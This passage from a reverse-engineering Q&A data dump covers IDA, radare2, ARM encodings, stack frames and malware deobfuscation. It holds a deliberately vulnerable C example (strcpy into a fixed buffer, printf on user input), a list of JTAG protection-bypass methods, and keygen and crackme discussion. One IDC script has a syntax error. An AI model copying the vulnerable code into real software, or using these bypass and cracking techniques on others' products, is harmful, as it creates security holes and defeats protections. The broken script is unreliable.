to be able to tell how we got there. Assemble as\n// 0xf7fabcfd which is guaranteed to raise undefined instruction\n// exception.\ncase 96: /* UNDEF */\n        o1 = 0xf7fabcfd\n</code></pre>\n\n<p>Anyway, can anyone confirm this suspicion and/or shed more light into why this is done?  Also, why not just use 0xe7f001f2 like the linux kernel does?</p>\n",
        "Title": "Undefined instruction in Go binary compiled for ARM",
        "Tags": "|disassembly|arm|",
        "Answer": "<p>The (32-bit) ARM architecture has a instruction with opcode <code>UDF</code> whose encodings are guaranteed to be permanently undefined.\nThere are 3 encodings of this instructions one each for Thumb, Thumb-2, and ARM.\nIn hex these are -</p>\n\n<pre><code>Thumb   0xDE**       \nThumb2  0xF7F*A***   \nARM     0xE7F***F*   \n*'s are ignored by the processor so can be any value.\n</code></pre>\n\n<p>There is also another ARM encoding that the architecture guarantees to be permanently undefined, albeit without giving it an opcode.  This is -</p>\n\n<pre><code>ARM     0x*7F***F*\n*'s are ignored by the processor so can be any value.\n</code></pre>\n\n<p>(Note that the <code>UDF</code> instruction is a special case of this encoding with the condition bits set to <code>AL</code> or <code>1110</code>.)</p>\n\n<p>The Linux code you quote is using the UDF opcode encodings for Thumb and ARM. </p>\n\n<p>The Go code is using the ARM encoding which doesn't have an opcode.</p>\n\n<p>Given the <code>*</code> bits are ignored by the processor and can be picked at the programmer's discretion, I would expect someone to choose their own values rather than spend time trying to find where other people have used the instruction any picking the same values as them.</p>\n\n<p>Indeed, the Linux code you quote explicitly explains that the value was chosen to avoid conflicts with other deliberate uses of undefined instructions with Linux's undefined instruction hook mechanism.  So, if the Go authors were aware of the Linux usage here, I'd still expect them to choose different values.</p>\n"
    },
    {
        "Id": "17675",
        "CreationDate": "2018-03-12T23:39:12.243",
        "Body": "<p>I have tried all the I have learned so far to figure out how to deal with this instance of obfuscation.\n<a href=\"https://i.stack.imgur.com/ElQVV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ElQVV.png\" alt=\"enter image description here\"></a></p>\n\n<p>So far I understand that an opaque predicate is present, causing an unconditional jump to one byte into L0. </p>\n\n<p>What I don't understand is how to deal with this issue in IDA. If the jump is made to L0+1 how can I mark the byte E8 as data, or deal with this otherwise. </p>\n\n<p>Any help would be appreciated. Thanks.</p>\n",
        "Title": "IDA pro obfuscation instance",
        "Tags": "|disassembly|obfuscation|",
        "Answer": "<p>IDA is good at recognising such tricks, but if it didn't\nyou can press <kbd>D</kbd> having the <code>call</code> instruction selected. </p>\n\n<p>This will convert the opcode to a data, displaying just bunch of <code>db</code>s. After that, select the byte that has <code>db 58</code> (so one after <code>E8</code>) and press <kbd>C</kbd> to convert it to code again without the first byte. </p>\n\n<p>Result after the changes.</p>\n\n<p><a href=\"https://i.stack.imgur.com/A2ubj.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/A2ubj.png\" alt=\"enter image description here\"></a></p>\n\n<p>I don't know if this could be automated - probably with some script that IDA supports it could be.</p>\n"
    },
    {
        "Id": "17676",
        "CreationDate": "2018-03-13T03:07:00.427",
        "Body": "<p>I was wondering if someone could provide me an UPX unpacker, which works with unix excutable files.</p>\n\n<p>I've tried a bunch of already, but all of those expect .EXE's which obviously won't work for me.</p>\n\n<p>Thanks</p>\n",
        "Title": "Unpacking UPX OSX files",
        "Tags": "|unpacking|upx|",
        "Answer": "<p>Unless the binary has been modified to prevent it, UPX itself should be able to unpack it:</p>\n\n<p><code>upx -d packed.bin</code></p>\n"
    },
    {
        "Id": "17685",
        "CreationDate": "2018-03-13T16:13:06.777",
        "Body": "<p>I've find a <code>CoCreateInstance()</code> in IDA disassembly (after <code>CoInitializeEx()</code>). Here are the assembly:</p>\n\n<pre><code>loc_18000499D:          ; pUnkOuter\nxor     edx, edx\nmov     [rsp+68h+ppv], rbx ; ppv\nlea     r9, riid        ; riid\nlea     rcx, rclsid     ; rclsid\nlea     r8d, [rdx+4]    ; dwClsContext\ncall    cs:CoCreateInstance\nmov     ebx, eax\nmov     eax, 8007019Eh\ncmp     ebx, 80040154h\ncmovz   ebx, eax\ntest    ebx, ebx\njns     short loc_1800049D7\n</code></pre>\n\n<p>And the pseudocode is:</p>\n\n<pre><code>CoCreateInstance(&amp;rclsid, 0i64, 4u, &amp;riid, v4 + 1);\n</code></pre>\n\n<p>When I click the <code>rclsid</code> it is redirected to read-only data segment. Here is the .rdata section:</p>\n\n<pre><code>.rdata:0000000180007930 ; IID rclsid\n.rdata:0000000180007930 rclsid          dd 4F476546h            ; Data1\n.rdata:0000000180007930                                         ; DATA XREF: f_CoInitialize+A7\u2191o\n.rdata:0000000180007930                 dw 0B412h               ; Data2\n.rdata:0000000180007930                 dw 4579h                ; Data3\n.rdata:0000000180007930                 db 0B6h, 4Ch, 12h, 3Dh, 0F3h, 31h, 0E3h, 0D6h; Data4\n.rdata:0000000180007940 ; IID riid\n.rdata:0000000180007940 riid            dd 536A6BCFh            ; Data1\n.rdata:0000000180007940                                         ; DATA XREF: f_CoInitialize+A0\u2191o\n.rdata:0000000180007940                 dw 0FE04h               ; Data2\n.rdata:0000000180007940                 dw 41D9h                ; Data3\n.rdata:0000000180007940                 db 0B9h, 78h, 0DCh, 0ACh, 2 dup(0A9h), 0B5h, 0B9h; Data4\n</code></pre>\n\n<p>So, How can I find the CLSID? I tried to change the data type with <code>D</code> key but can't understand it.</p>\n",
        "Title": "How to find CLSID from CoCreateInstance in IDA?",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>From @Remko's idea, I made a IDC script to convert the GUID data to a sting. Here is the script:</p>\n\n\n\n<pre><code>#include &lt;idc.idc&gt;\n\nstatic MakeGuid(ea)\n{\n    auto string = sprintf(\"{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}\\n\", \n        Dword(ea), Word(ea+4), Word(ea+6), Byte(ea+8), Byte(ea+9),\n        Byte(ea+10), Byte(ea+11), Byte(ea+12), Byte(ea+13), Byte(ea+14), Byte(ea+15)\n    Message(string);\n    return 0;\n}\n</code></pre>\n\n<h3>Instructions:</h3>\n\n<p>Make a text file in any text editor. Add .IDC extension. Paste the above code. Load the IDC script file in IDA with <kbd>Alt</kbd>+<kbd>F7</kbd> (or File > Load Script menu). Open the output window with <kbd>Alt</kbd>+<kbd>0</kbd> (zero). Type <code>MakeGuid(variable_name);</code> below of that window and the GUID will be shown as string. For example, as in my question, type <code>MakeGuid(rclsid);</code>. Always put a semicolon after the function.</p>\n\n<h3>Sources:</h3>\n\n<ul>\n<li><a href=\"http://nah6.com/~itsme/cvs-xdadevtools/ida/idcscripts/formatdata.idc\" rel=\"nofollow noreferrer\">useful IDA idc scripts: formatdata.idc</a> </li>\n<li><a href=\"https://github.com/nihilus/IDA-IDC-Scripts/blob/master/Willem_Jan_Hengeveld/formatdata.idc\" rel=\"nofollow noreferrer\">GitHub: IDA-IDC-Scripts/formatdata.idc</a> </li>\n</ul>\n"
    },
    {
        "Id": "17686",
        "CreationDate": "2018-03-13T17:37:26.500",
        "Body": "<p>So i'm new to the whole reverse engineering thing with only experience in C#. So I wanted to try and change the framerate of applications (eg. this unity game) at an assembly level on iOS ( I have an 120hz iPad pro so I find it really important.) Therefore to learn how this was done I decrypted the binary of my very own app on the app store and then compared it with the C++ code that is created when unity exports to Xcode.\n<a href=\"https://i.stack.imgur.com/XlaCx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XlaCx.png\" alt=\"enter image description here\"></a></p>\n\n<p>Note the highlighted area and the value of 120 (the framerate). This is in C++.\n<a href=\"https://i.stack.imgur.com/MFkxv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MFkxv.png\" alt=\"enter image description here\"></a>\nBut now in assembly note how the value is simply \"System.Int32\"\nSoo what happened to it? Maybe it's something to do with the /<em>hidden argument</em>/ in the C++ code? but for other apps I obviously won't have access to that. I'm still new to this and i've been trying to learn the basics of assembly. I'm just baffled as to what I should do and how the value can be changed? If someone could explain how to do so that would be great. If not a helpful pointer as to what I should learn and do next to solve this problem, maybe links to articles would be also helpful. Thanks in advance.</p>\n",
        "Title": "Newbie here: hidden values in assembly?",
        "Tags": "|arm|ios|binary|",
        "Answer": "<p>Unity is written in C# and in C#, there are things that are called properties. Behind the scene there are two methods (called getter, and setter) but in the source code it looks like there is no function calls. This is how <code>TargetFrameRate</code> looks like:</p>\n\n<pre><code>public int TargetFrameRate { get; set;} // getter &amp; setter omitted for brevity\n</code></pre>\n\n<p>What you see in your assembly is in fact calling the setter (thus <code>set_targetFrameRate</code>). And as those are not method, there can only be one value that is passed to them (or assigned as in C# code they look like normal assignment operation i.e. <code>TargetFrameRate = 120</code>). </p>\n\n<p>Of course Obj-C/Swift and C++ are different and does not support those so that have to be mitigated and for some reason they were coded like that (method &amp; more than one value).</p>\n\n<p>So there is no issue that you see only one argument that <code>set_TargetFrameRate</code> takes.</p>\n\n<p>What more you can do is to open Unity3d in .net decompiler like <a href=\"https://github.com/0xd4d/dnSpy\" rel=\"nofollow noreferrer\">dnSpy</a> and verify that this is in fact how <code>TargetFrameRate</code> looks like:</p>\n\n<p><a href=\"https://i.stack.imgur.com/xv3kj.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xv3kj.png\" alt=\"enter image description here\"></a></p>\n\n<p>Since it has an <code>InternalCall</code> &amp; <code>extern</code> you would need to dig a bit deeper to get to the actual implementation.</p>\n"
    },
    {
        "Id": "17719",
        "CreationDate": "2018-03-17T18:02:06.310",
        "Body": "<p>I'm writing a plugin which is available at all times (<code>PLUGIN_FIX</code> flag).\nHowever, I also need to be notified when a database is created or opened, as if I would handle the moment when <code>init()</code> is called on plugins without the <code>PLUGIN_FIX</code> flag.</p>\n\n<p>I looked into the IDA 7.0 SDK, but I only found <code>idb_event::closebase</code>, and I need the exact opposite. <code>idb_event::savebase</code> also doesn't really match.</p>\n\n<p>I logged all events in the SDK ever raised by IDA (causing IDA to run slower than my grandma \u263a), and only dug out <code>idb_event::kernel_config_loaded</code> which happens <em>around</em> the moment I want to catch. However, it also triggers at other times (like when simply clicking the \"Open\" button), so it's not a match too.</p>\n\n<p>Am I missing something here? Such an event seems quite important to me, so I'm a bit surprised there's nothing \"obvious\" for it.</p>\n",
        "Title": "IDA SDK: Event when database created / opened?",
        "Tags": "|ida|ida-plugin|idapro-sdk|",
        "Answer": "<p>After looking around a bit more, I noticed that if I handle the following two processor module (<code>HT_IDP</code>) events, I can pretty much catch the moment I wanted:</p>\n\n<ul>\n<li><code>processor_t::event_t::ev_newfile</code> when a new database is being created (like from a PE file)</li>\n<li><code>processor_t::event_t::ev_oldfile</code> when an existing database has been loaded (from a .idb file)</li>\n</ul>\n"
    },
    {
        "Id": "17735",
        "CreationDate": "2018-03-19T19:26:08.637",
        "Body": "<p>I have loaded a binary file into IDA which is for Motorola 6800 series. </p>\n\n<ul>\n<li><p>The strings are referenced like this: <code>pea     ($2017A99).l</code>.\nThe actual address of the referenced string in above command is <code>0x017A99</code>.</p></li>\n<li><p>Functions are called like this: </p>\n\n<pre><code>lea     ($200CA4C).l,a3\njsr     (a3)\n</code></pre>\n\n<p>or like this:</p>\n\n<pre><code>jsr     $200CA4C\n</code></pre>\n\n<p>where in both cases, the actual address of the function is <code>0x0CA4C</code>.</p>\n\n<p>IDA pro didn't detect any of those and didn't add anything to xrefs or other reference lists.<br></p></li>\n</ul>\n\n<p>Now my question is how can I modify string reference and function call detection process of IDA so they can be detected ?</p>\n\n<p>Regards.</p>\n",
        "Title": "How to modify strings and funtions reference detection in IDA pro?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>I might be wrong, but it sounds to me like you loaded the binary file at the wrong imagebase. It sounds like you loaded it at the default base address of 0x0, whereas the base address really ought to be 0x2000000. Load the file into IDA again from scratch and try putting 0x2000000 in the \"Loading offset\" box on the initial \"Load a new file\" dialog box.</p>\n\n<p>As for why I think that: based on your examples, e.g. the second one:</p>\n\n<pre><code>jsr     $200CA4C\n</code></pre>\n\n<p>You're claiming the real address is 0x0CA4C, a difference of 0x2000000 from what's displayed. Your first example also differs by 0x2000000. So I'm guessing those instructions have hard-coded addresses in them, with all of them just above 0x2000000. That tells me the binary probably expects to be loaded at that address, which is why I'm advising you to try loading it at that address and see what happens.</p>\n"
    },
    {
        "Id": "17737",
        "CreationDate": "2018-03-19T19:41:35.487",
        "Body": "<p>Radare2 has S* commands, that can show, delete, modify sections. Is it possible to create new section in executable file and save it?</p>\n",
        "Title": "Radare2 create section",
        "Tags": "|disassembly|elf|radare2|section|",
        "Answer": "<p>Creating section does work but saving them has a long outstanding <a href=\"https://github.com/radare/radare2/issues/8388\" rel=\"nofollow noreferrer\">bug report</a>. I think,  not sure, I saw now the bug report has been marked fixed and closed in some version. </p>\n\n<p>But just tried out wci command and I didn't see the Newsection written out to file in disk so maybe you should pursue the issue in Radare's reports section. </p>\n\n<pre><code>:\\&gt;radare2 -w jmpesp.exe\n -- The door is everything ...\n\n[0x00401000]&gt; e io.cache = true\n[0x00401000]&gt; e io.cache.write =true\n[0x00401000]&gt; e io.cache.read  = true\n\n[0x00401000]&gt; S\n[00:00] * pa=0x00000200 mr-x va=0x00401000 sz=0x0200 vsz=0x1000 .text\n[00:01] . pa=0x00000400 mr-- va=0x00402000 sz=0x0200 vsz=0x1000 .rdata\n\n[0x00401000]&gt; S 0x600 0x403000 0x200 0x1000 .what rwx\n\n[0x00401000]&gt; S\n[00:00] * pa=0x00000200 mr-x va=0x00401000 sz=0x0200 vsz=0x1000 .text\n[00:01] . pa=0x00000400 mr-- va=0x00402000 sz=0x0200 vsz=0x1000 .rdata\n[-1:02] . pa=0x00000600 -rwx va=0x00403000 sz=0x0200 vsz=0x1000 .what\n\n[0x00401000]&gt; om\n 6 fd: 3 +0x00000600 0x00403000 - 0x004031ff -rwx fmap..what\n 5 fd: 6 +0x00000000 0x00403200 - 0x00403fff -rwx mem..what\n 4 fd: 3 +0x00000200 0x00401000 - 0x004011ff -rwx fmap..text\n 3 fd: 5 +0x00000000 0x00401200 - 0x00401fff mrwx mmap..text\n 2 fd: 3 +0x00000400 0x00402000 - 0x004021ff -rw- fmap..rdata\n 1 fd: 4 +0x00000000 0x00402200 - 0x00402fff mrw- mmap..rdata\n\n[0x00401000]&gt; wci\n\n[0x00401000]&gt; S\n[00:00] * pa=0x00000200 mr-x va=0x00401000 sz=0x0200 vsz=0x1000 .text\n[00:01] . pa=0x00000400 mr-- va=0x00402000 sz=0x0200 vsz=0x1000 .rdata\n[-1:02] . pa=0x00000600 -rwx va=0x00403000 sz=0x0200 vsz=0x1000 .what\n[0x00401000]&gt; \n</code></pre>\n\n<p>and quitting and reopening doesn't show the new Section </p>\n\n<pre><code>[0x00401000]&gt; q\n\n:\\&gt;radare2 -w jmpesp.exe\n -- *(ut64*)buffer ought to be illegal\n[0x00401000]&gt; S\n[00:00] * pa=0x00000200 mr-x va=0x00401000 sz=0x0200 vsz=0x1000 .text\n[00:01] . pa=0x00000400 mr-- va=0x00402000 sz=0x0200 vsz=0x1000 .rdata\n[0x00401000]&gt;\n</code></pre>\n"
    },
    {
        "Id": "17747",
        "CreationDate": "2018-03-20T19:31:12.813",
        "Body": "<p>Please first read this <a href=\"http://reverseengineering.stackexchange.com/questions/17735/how-to-modify-strings-and-funtions-reference-detection-in-ida-pro\">My previous question</a>, and then continue the following:\n<br><br>****<br><br>\nThe binary file size loaded into IDA is 0x1e400 = 123k, and when I try to only change the \"<strong>Loading address</strong>\" to 0x2000000, IDA throws this error:<br> \"<em>The loading address should belong to RAM or ROM</em>\"\n<br><br>\nIf I check the \"<strong>Create RAM Section</strong>\" and set the <strong>RAM size</strong> to 0x2000000, and set the \"<strong>ROM start address</strong>\" to 0x2000000, IDA detects most of the string references and function calls correctly but new problems arises:<br></p>\n\n<ul>\n<li>IDA saves the work in a 2GB file which makes saving/loading slow.</li>\n<li><p>Some references won't be detected correctly (when address fields does not have the 0x2000000). </p></li>\n<li><p>(More important problem) IDA doesn't detect some instructions where before IDA was able to detect them correctly) and the bad thing is that IDA gives error when I try to convert them to instruction using MakeCode command.</p></li>\n</ul>\n\n<p>How can I manually add those undetected instructions into instructions.</p>\n",
        "Title": "How to force IDA pro to list some bytes as a specified instruction?",
        "Tags": "|ida|idapython|idapro-sdk|",
        "Answer": "<p>I was the one who advised you to change the loading offset. It sounds like weird stuff is happening as a result of the way you loaded the binary into IDA. I've had similar weird issues before when dealing with segments and loading addresses. Hopefully getting the segmentation working properly will resolve the issues with references/ability to define code.</p>\n\n<p>There are a couple of similar, yet different methods you can use, most of them on the <code>Edit-&gt;Segments</code> submenu. The first thing I'd try would be loading the program at base address <code>0x0</code> like you did originally, then trying <code>Edit-&gt;Segments-&gt;Rebase Program</code>. If that didn't work, I'd try <code>Edit-&gt;Segments-&gt;Move Current Segment</code>, or <code>Edit-&gt;Segments-&gt;Edit Segment</code>.</p>\n"
    },
    {
        "Id": "17753",
        "CreationDate": "2018-03-21T01:37:55.293",
        "Body": "<p>When protecting a device from being accessed via JTAG there are a number of ways to do it. </p>\n\n<p>The two that come immediately to mind are:</p>\n\n<ol>\n<li>a '<em>fuse</em>' that is blown; </li>\n<li>a JTAG '<em>password</em>'.</li>\n</ol>\n\n<p>What are some methods or equipment that are used to bypass these protections?</p>\n",
        "Title": "JTAG protection bypass",
        "Tags": "|hardware|jtag|",
        "Answer": "<p>The question is kinda vague but here's some approaches that might work:</p>\n\n<ol>\n<li><p>Glitching (e.g. voltage dropping, clock slowdown, too short reset pulse). This could cause either a change in the sensed value of the fuse, or change in the code flow in case the check is implemented in software. For an example of this technique see <em>Breaking Code Read Protection on the NXP LPC-family Microcontrollers</em> by Chris Gerlinsky (recon BRX 2017).</p></li>\n<li><p>Timing/side-channel attacks in case the checks are not specifically hardened against it. A very nice presentation using this technique was shown at Recon BRX 2018(<em>Hacking Toshiba Laptops</em> by Micha\u0142 Kowalczyk and Serge Bazanski)</p></li>\n<li><p>Hardware attack (decapping the chip and changing the fuse value by direct micoprobing on the chip subtsrate, or just hooking into the core JTAG signals). This is rather complicated and needs a big investment of time and money but some code readout protections have been broken this way.</p></li>\n</ol>\n"
    },
    {
        "Id": "17755",
        "CreationDate": "2018-03-21T03:21:49.103",
        "Body": "<p>I'm following a tutorial to get a better understanding of how things are passed around through stack frames, but they're working on a x86 system and I'm on x64. </p>\n\n<p>when they've reached the step</p>\n\n<pre><code>   sub    esp, 0x10\n=&gt; mov    eax, DWORD PTR [ebp+0xC]\n   add    eax, 0x4\n</code></pre>\n\n<p>They're able to see the address the pointer is pointing to. Checking the value, they get the address</p>\n\n<pre><code>0xbffff6d6\n</code></pre>\n\n<p>Then running x/s on that address returns the string value, which in this case should be the location of the program '/root/Desktop/00byte'</p>\n\n<p>Where things are different for me is on x64 my instructions say</p>\n\n<pre><code>   sub    rsp, 0x10\n   mov    DWORD PTR [rbp-0x4], edi\n   mov    QWORD PTR [rbp-0x10], rsi\n=&gt; mov    rax, QWORD PTR [rbp-0x10]\n   add    rax, 0x8\n</code></pre>\n\n<p>We've both assembled the same code and set our breakpoints on the same line, but on different platforms and I wanted to know how I'd be able to get the address from this point. I had assumed running</p>\n\n<pre><code>x/x $rax\n</code></pre>\n\n<p>would return the address of the pointer but instead it returns </p>\n\n<pre><code>0x55\n</code></pre>\n\n<p>Am I wrong to think the address of the pointer is stored in rax at this point? And if so, how would I get the address from this point.</p>\n\n<p>I can provide more information if needed. We're both using gcc to compile and gdb to debug and using the same arguments when building the program.</p>\n\n<p>I also tried checking the value in $rbp-16 but that only returns:</p>\n\n<pre><code>0xa8\n</code></pre>\n\n<p>So I'm not sure where the address is stored at this point in a way that I could examine based on the instructions I have.</p>\n\n<p>*here's the code, we both put our breakpoints after the line where main() is declared:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\nvoid echo(char *message)\n{\nchar buffer[100];\nstrcpy(buffer,message);\nprintf(buffer);\n}\nint main(int argc, char *argv[])\n{\necho(argv[1]);\n}\n</code></pre>\n\n<p>an argument is passed to the program and I'm observing how that argument moves through the stack.</p>\n",
        "Title": "How to View the Address Referenced by QWORD PTR",
        "Tags": "|assembly|",
        "Answer": "<p><strong>[ebp+0x0c]</strong> is an argument to the function<br>\n<strong>[rbp-0x10]</strong> is a local to the function   </p>\n\n<p>so first of all you are comparing different things</p>\n\n<p>i assume you are on the main() function because your echo function() takes only one argument so you cant refer a valid argument with [ebp+0xc] in that case  </p>\n\n<p>if you are on main then [ebp+0x0c] is <strong>char  **argv</strong>   </p>\n\n<p>i am on windbg and i can get it like </p>\n\n<pre><code>0:000&gt; da  @@c++(*(char **)argv)\n004e8ac0  \"x86.exe\"\n</code></pre>\n\n<p>you are on gdb it appears and you can use x/s *(char **)argv or may be (ebp+0xc) \nplay with it </p>\n\n<p>the diassembly of the function main would be similar to (disassemble main in gdb instead of uf .)</p>\n\n<pre><code>0:000&gt; uf .\n    9 00f91040 55              push    ebp\n    9 00f91041 8bec            mov     ebp,esp\n   10 00f91043 b804000000      mov     eax,4\n   10 00f91048 c1e000          shl     eax,0\n   10 00f9104b 8b4d0c          mov     ecx,dword ptr [ebp+0Ch] &lt;&lt;&lt; (char **)argv\n   10 00f9104e 8b1401          mov     edx,dword ptr [ecx+eax] &lt;&lt;&lt;&lt;&lt;&lt;&lt;\nargv[1] pointer arithmetic ecx = 4 same as your add eax,4\n   10 00f91051 52              push    edx\n   10 00f91052 e8a9ffffff      call    x86!echo (00f91000)\n   10 00f91057 83c404          add     esp,4\n   11 00f9105a 33c0            xor     eax,eax\n   11 00f9105c 5d              pop     ebp\n   11 00f9105d c3              ret\n</code></pre>\n\n<p>the function echo needs the first argument passed to the binary  </p>\n\n<pre><code>0:000&gt; ?? (char *)argv[0]\nchar * 0x00258b4c\n \"x86.exe\"\n0:000&gt; ?? (char *)argv[1]\nchar * 0x00258b54\n \"this is the first argument passed saniboy\"\n</code></pre>\n\n<p>which incidentally you can also print with x/s in gdb  </p>\n\n<pre><code>0:000&gt; da /c 100 @edx\n00258b54  \"this is the first argument passed saniboy\"\n</code></pre>\n\n<p>the same code compiled for x64 and disassembled main as follows</p>\n\n<pre><code>0:000&gt; uf x64!main\n\n    9 00000001`40001060 4889542410      mov     qword ptr [rsp+10h],rdx\n    9 00000001`40001065 894c2408        mov     dword ptr [rsp+8],ecx\n    9 00000001`40001069 4883ec28        sub     rsp,28h\n   10 00000001`4000106d b808000000      mov     eax,8\n   10 00000001`40001072 486bc001        imul    rax,rax,1\n   10 00000001`40001076 488b4c2438      mov     rcx,qword ptr [rsp+38h]\n   10 00000001`4000107b 488b0c01        mov     rcx,qword ptr [rcx+rax]\n   10 00000001`4000107f e87cffffff      call    x64!echo (00000001`40001000)\n   11 00000001`40001084 33c0            xor     eax,eax\n   11 00000001`40001086 4883c428        add     rsp,28h\n   11 00000001`4000108a c3              ret\n</code></pre>\n\n<p>x64 passes first 4 arguments via registers and does not use stack for passing arguments </p>\n\n<p>you can find a similar document to this microsoft specific document on <a href=\"https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx\" rel=\"nofollow noreferrer\">passing parameters</a></p>\n\n<p>so your first argument will be in rcx  </p>\n\n<p>x/s $rcx </p>\n\n<p>you cannot go and compare line by line they wont match </p>\n"
    },
    {
        "Id": "17764",
        "CreationDate": "2018-03-21T15:19:04.787",
        "Body": "<p>I know that a software is cracked by reverse engineering it and reading it's assembly code... My question is how and what do crackers look for in the assembly code? And how do they know what algorithm is being used to verify the serial code (since we cannot see the original source code)?</p>\n",
        "Title": "How is a keygen made by reversing a software?",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>In addition to what Mick said, <a href=\"https://www.youtube.com/watch?v=DEDYk8zN53A\" rel=\"nofollow noreferrer\">here is an excellent video tutorial on the topic</a>, where the individual takes nearly 2 hours to thoroughly demonstrate how to reverse engineer the key validation algorithm in a particular CrackMe.</p>\n\n<p>While it's a \"simple\" example in a world filled with much more complex key/license algorithms, I think it's an incredible resource for beginners/intermediates to learn from.</p>\n"
    },
    {
        "Id": "17767",
        "CreationDate": "2018-03-21T19:22:51.263",
        "Body": "<p>In OllyDbg 1.10 (assembler level deubugger) I can find all referenced text strings</p>\n\n<p>The program compare if a user input string is equal  a internal string.</p>\n\n<p>When I debug the program, I can't find the internal string. I found only the string of the image</p>\n\n<p>The program is a Windows Console (DOS).</p>\n\n<p>This is the string the plugin found</p>\n\n<p><a href=\"https://i.stack.imgur.com/KDMQc.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KDMQc.jpg\" alt=\"string found with OllyDbg\"></a></p>\n\n<p>This strings appear in the program, but I can't see the string when program say \"Congratulations....\", is 4 lines under the red mark in the image</p>\n\n<p>You can help?\nHow I can debug and see the text of comparision?</p>\n\n<p><a href=\"https://i.stack.imgur.com/NYiP4.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NYiP4.jpg\" alt=\"The program say congrats after compare\"></a></p>\n\n<p>Is like...</p>\n\n<p>if user_input == X then\n print \"Congratulations....\"\nelse\n print \"Better luck next time...\"</p>\n\n<p>How find X string?</p>\n\n<p>Thanks</p>\n\n<p>[EDIT]</p>\n\n<p>After the answer, I recommend, in this case, to use x64dbg</p>\n\n<p><a href=\"https://i.stack.imgur.com/Kpw78.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Kpw78.jpg\" alt=\"xdbg screenshot with the same information\"></a></p>\n",
        "Title": "how to find the strings values in a comparision using ollydbg",
        "Tags": "|windows|ollydbg|debugging|strings|",
        "Answer": "<p>It's hard to answer by looking at the low-res image but it looks like that the 'X' is not present in as as string in one place. Instead there are bunch of char comparisons spread across this binary.</p>\n\n<p>Like this one:</p>\n\n<pre><code>CMP BYTE PTR SS:[ESP+25], 40\n</code></pre>\n\n<p>Gather those together (there should be some above the part that you've pased) and sort by the index (ESP+<strong>xx</strong>). Converting the values after the comma (in this case 40) to ascii and printing them should give you the 'X'. </p>\n\n<p>For the image we have:</p>\n\n<blockquote>\n  <p>hac__h___rad_$E</p>\n</blockquote>\n"
    },
    {
        "Id": "17780",
        "CreationDate": "2018-03-23T20:31:28.773",
        "Body": "<p>What are the advantages of each method when employing de-obsfucation of potentially malicious code?</p>\n\n<p>I've been told to always use emulators like x86emu since it doesn't actually run the code when performing the de-obsfucation but  I wonder if there are any reasons to use IDA scripts to perform this kind of task. </p>\n",
        "Title": "De-obfuscation - Emulation-oriented vs Script-oriented",
        "Tags": "|ida|malware|ida-plugin|deobfuscation|",
        "Answer": "<p>The approaches you mentioned:</p>\n\n<p><strong>Scripting static analysis with IDA:</strong> \nGreat for removing automatically inserted bloat like PUSH EBX; add EBX, ECX; pop EBX, great for automatically finding and extracting relevant values. Sometimes a good way for decryption (if the malware just XORs stuff with 0x17 having your script do that is easier than running the decryption code in emulator).</p>\n\n<p><strong>Using emulators (scripted or not)</strong>\nGreat for following hyper-obfuscated code that jumps into the middle of instructions and confuses static analysis. Has limited environment model, so it will fail once the malware uses exception handling or calls APIs.</p>\n\n<p><strong>Using debugger (scripted or not):</strong> \nYes, you can do that if you are careful. Good for following the code, good for bypassing self-decryption, good for dumping. Security measures I recommend:</p>\n\n<ul>\n<li>Know your malware beforehand (google it, run it in cuckoosandbox, run it in VM in sandboxie with procmon running), so you know what to expect. Might also save you a lot of time. If all your malware does is extract/download stage2.exe into %TEMP% and run it, there is probably no reason to bother with it anyway. Go straight to stage2.exe</li>\n<li>Always work within a VM that has network connections disabled. </li>\n<li>Make shapshot before you start debugging, just in case. If it never returns from your F8 keypress, and you are unsure, you can return to that snapshot (but you lose your changes to IDA db!).</li>\n<li>Have procmon running, so you know if your malware did anything interesting.</li>\n<li>If you are very paranoid, have your VM run on a different host OS. Just in case the malware carries a $200.000 VMWare/VirtualBox 0day :-)</li>\n</ul>\n"
    },
    {
        "Id": "17790",
        "CreationDate": "2018-03-25T06:06:19.153",
        "Body": "<p>IDA shows this following code in separate subroutine. </p>\n\n<p>Assembly:</p>\n\n<pre><code>sub_180049410 proc near\njmp     rax\nsub_180049410 endp\n</code></pre>\n\n<p>Pseudo-Code:</p>\n\n<pre><code>__int64 __usercall sub_180049410@&lt;rax&gt;(__int64 (*a1)(void)@&lt;rax&gt;)\n{\n  return a1();\n}\n</code></pre>\n\n<p>The previous subroutine calls it as (off_180052510 and sub_180049410 are same)</p>\n\n<pre><code>mov     rcx, [rsp+0C8h+var_88]\nmov     rax, [rcx]\nmov     r8, rsi\nmov     edx, 5\nmov     rax, [rax+18h]\ncall    cs:off_180052510\nmov     rcx, [rsp+0C8h]\ntest    eax, eax\njs      loc_18000969B\n</code></pre>\n\n<p>So, why IDA shows it in separate subroutine? Can I join that in it's previous function?</p>\n",
        "Title": "Why IDA shows return statement in separate subroutine?",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>No. Ofc, you can modify assembly in IDA with API funcs by yourself, but there is no need in this. <code>call</code> instruction is not just jumping to code, it also modifies stack, pushing there return address, so called function can correctly return (read <a href=\"https://c9x.me/x86/html/file_module_x86_id_26.html\" rel=\"nofollow noreferrer\">https://c9x.me/x86/html/file_module_x86_id_26.html</a> ). Thats why this code is shown in another subroutine, and thats why just inlining <code>jmp rax</code> to code won't be correct in this case.</p>\n\n<p>Also, rax value will be known only in runtime, so IDA's static analysis can't provide information, which function exactly will be called here. So <code>sub_180049410</code> its just function to call some other function via pointer to it.</p>\n"
    },
    {
        "Id": "17801",
        "CreationDate": "2018-03-25T19:27:20.973",
